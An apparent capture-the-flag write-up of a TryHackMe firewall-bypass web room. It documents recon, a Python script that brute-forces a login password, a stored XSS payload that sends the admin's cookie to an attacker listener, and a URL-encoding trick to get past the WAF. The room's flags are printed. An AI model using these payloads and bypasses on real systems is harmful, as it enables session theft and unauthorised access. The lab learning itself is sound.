A PHP that restarts all services and a proverbial greeting card on a server.
Get your curls ready for a night on the town.
The room target IP rotated between sessions and restarts. The final exploit was completed against 10.146.138.121. Earlier recon stages used the IPs active at the time.
Initial Recon
┌──(jenn㉿local)-[~]
└─$ curl -I 10.145.169.251
A malformed curl to start, but stick with me:
Would you look at that. A session cookie (PHPSESSID). For me? How kind.
Since Mozilla/5.0 was not attached to -A, curl treated it like a separate target and tossed a resolution warning. It still continued on to the actual target and returned a valid PHPSESSID.
Proper syntax:
┌──(jenn㉿local)-[~]
└─$ curl -I -A "Mozilla/5.0" http://10.145.169.251
This is the second challenge in a course of Firewall vulnerability assessments. Fresh PHPSESSID stashed for later.
What we know so far:
- A firewall exists
- User-agent disguising bypasses some firewall rules
- A session cookie is in hand
- A PHP loginForm exists on the target
- The server will be decommissioned in 24 hours
- Goodbye messages to the server can be seen on the homepage
- An admin and/or message bot is highly likely
check.jsexistsadam,deliver, andnoraexist, and have co-dependency issues with a server
Must have been one great server. Or it is sick of its end-users waxing poetic when they should be maximizing efficiency. Who knows.
Nmap
┌──(jenn㉿local)-[~]
└─$ nmap -sS -Pn -sC -sV -T4 -A 10.145.169.251
┌──(jenn㉿local)-[~]
└─$ nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.169.251
Findings from the vuln scan worth knowing about:
Also now known:
- Port 22 open
- Port 80 open
httponly flag not setis great news for the stolen cookie/admin.phpexists sanshttponlyflag- Per the room intro,
/adminalso holds all of the farewell messages /info.phpexists, which could contain credentials, firewall details, etc.- The ominous auto-resetting
/status.phphas not yet been enumerated - The homepage has a PHP
loginFormthat a bot likely moderates
The missing /status.php that essentially self-destructs is calling for more attention.
Authenticated Enumeration
gobuster with a fresh session cookie and a full Chrome UA string:
┌──(jenn㉿local)-[~]
└─$ gobuster dir -u http://10.145.169.251/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
-x php,txt,conf,log -t 50 \
-c "PHPSESSID=tbpitgmsugg0eaqdmpliqqcjb2"
If there is any pushback about the -t 50, add:
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
The elusive /status.php returning a 200, and a /server-status serving a 403.
Trying feroxbuster next, with -C 302 to filter out the redirect noise. Grabbed a fresh session cookie for it:
┌──(jenn㉿local)-[~]
└─$ feroxbuster -u http://10.146.161.245/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
-x php,txt,conf,log -t 50 \
--cookies "PHPSESSID=0jhitkhfk4gt6k71g046k0c93p" \
-C 302
Ahh. Glad I ran this. /auth.php returning a 405. That is where the logins are actually served, and gobuster missed it. Different tool, different parsing logic, different finding. Worth noting for future engagements.
User Access
Alright. Let’s bust this dinoserver open.
The homepage, in-browser. The cute little bye-bye server messages are scrolling across the banner.
I used deliver11 as the handle because it is the only username-appearing handle on the farewell messages:
That is a valid username. Thanks, old server.
Grab that PHPSESSID, please and thank you. Dev Tools > Storage > swap in the Value field with the stolen cookie.
Well would you look at that. Burp caught a response with a password hint.
Good guess on the user, Jenn. To be fair, the other two users likely have similar plaintext hints, but deliver11 is very crackable.
“Capital of Japan followed by 4 digits” is the password hint. If I had to guess, 1868 = year Tokyo was formally designated the imperial capital.
To note for our later privesc to admin: the login POST request points to /auth.php as a JSON request, not HTML.
Whipping up a script to brute force the four digits:
nano tokyo_crypt.py
import requests
import random
USERNAME = 'deliver11'
TARGET = 'http://10.146.161.245/auth.php'
USER_AGENTS = [
'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0',
]
# Session reuse keeps the TCP/TLS connection alive across requests
session = requests.Session()
for x in range(1000, 10000):
url = f'{TARGET}?i={x}'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': random.choice(USER_AGENTS),
}
data = f'username={USERNAME}&password=Tokyo{x}'
try:
resp = session.post(url, headers=headers, data=data, timeout=5)
except requests.RequestException as e:
print(f'[ERROR] Tokyo{x}: {e}')
continue
if 'auth_failed' in resp.text:
print(f'[FAILED] Payload: "Tokyo{x}", Code: {resp.status_code} || Content: {len(resp.content)}')
else:
print(f'[SUCCESS] Payload: "Tokyo{x}", Code: {resp.status_code} || Content: {len(resp.content)}')
break
Run it:
┌──(jenn㉿local)-[~]
└─$ python3 tokyo_crypt.py
Thank you, deliver11. You may want to change your password (wink).
Flag 1 = nabbed.
Stored XSS to Admin
The farewell message form is where we will be injecting malicious payloads. Test its behavior first:
<script>alert()</script>
Noted, and a little offended. Not sure why.
Strong intuition that this form behaves exactly as the one in Padelify does. One key difference: we are targeting JSON, and Padelify targeted PHP.
Test the form’s response to non-malicious input:
Hehehe. Have to throw in a little bit of sass.
Success.
Now mirror the XSS technique from yesterday that bypassed the WAF rules. Don’t forget the listener first:
python3 -m http.server 8888
<body onload="new Image().src='http://192.168.128.19:8888?c='+document['coo'+'kie'];">
And…gotcha!
Let’s curl this home:
┌──(jenn㉿local)-[~]
└─$ curl -i -b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' http://10.146.138.121/dashboard.php
Next, curl /admin.php with the freshly stolen cookie:
curl -i -b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' http://10.146.138.121/admin.php
Blocked by the WAF.
Let’s get craftier and target /status.php since the server status is almost-dead:
curl -i -b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' http://10.146.138.121/status.php
Awesome-sauce. 200 OK returned from /status.php:
Now we know the web app can check admin.php despite the direct curl getting WAF’d away.
Take a tip from the Burp JSON request and query the status of the JSON endpoint to see if the backend is reachable:
┌──(jenn㉿local)-[~]
└─$ curl -i -b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' \
'http://10.146.138.121/status.php?fetch_status=1'
Hello there, backend.
Ugh. I heard aloud in my head while I typed it. It was an innocent remark. I am not hitting backspace.
fetch_status=1 means the admin is reachable in the eyes of the backend. That really does sound bad.
Given this new backend admin availability information, send a restart:
┌──(jenn㉿local)-[~]
└─$ curl -i -X POST \
-b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' \
-d 'restart=1' \
http://10.146.138.121/status.php
Aha. Found the governing script for /status.php.
More importantly, we see that status.php can check admin.php thanks to the 200 OK. If we curl admin.php directly, the WAF blocks us.
Time to encode. Time for full-metal Jenn.
Full-Metal Jenn does not mess around. Straight to encoding the admin path:
┌──(jenn㉿local)-[~]
└─$ curl -i -b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' \
'http://10.146.138.121/%61dmin.php'
I kid you not: I did not try any approaches that I am keeping out of my notes to look better.
Full-Metal Jenn FTW.
User flag: THM{USER_ACCESS_1010}
Admin flag: THM{ADMINP@wned007}
Full-Metal Jenn = out.
Full Attack Chain
# Initial recon
curl -I -A "Mozilla/5.0" http://10.145.169.251
nmap -sS -Pn -sC -sV -T4 -A 10.145.169.251
nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.169.251
# Authenticated enumeration (session cookie + full Chrome UA)
gobuster dir -u http://10.145.169.251/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
-x php,txt,conf,log -t 50 \
-c "PHPSESSID=SESSION_ID"
feroxbuster -u http://TARGET_IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
-x php,txt,conf,log -t 50 \
--cookies "PHPSESSID=SESSION_ID" \
-C 302
# Valid username discovery via login form -- captured password hint in Burp
# "Capital of Japan followed by 4 digits"
# Brute force the 4-digit suffix via tokyo_crypt.py
python3 tokyo_crypt.py
# Result: Tokyo1868 -- user flag retrieved
# Stored XSS in farewell_message field -- admin bot reviews submissions
python3 -m http.server 8888
# Payload submitted via farewell message form:
# <body onload="new Image().src='http://ATTACKER_IP:8888?c='+document['coo'+'kie'];">
# Reuse stolen admin PHPSESSID
curl -i -b 'PHPSESSID=ADMIN_SESSION' http://TARGET_IP/dashboard.php
# Direct /admin.php blocked by WAF
# Confirm backend admin reachability via status.php
curl -i -b 'PHPSESSID=ADMIN_SESSION' 'http://TARGET_IP/status.php?fetch_status=1'
# WAF path-character bypass: URL-encode the first character
curl -i -b 'PHPSESSID=ADMIN_SESSION' 'http://TARGET_IP/%61dmin.php'
# Admin flag retrieved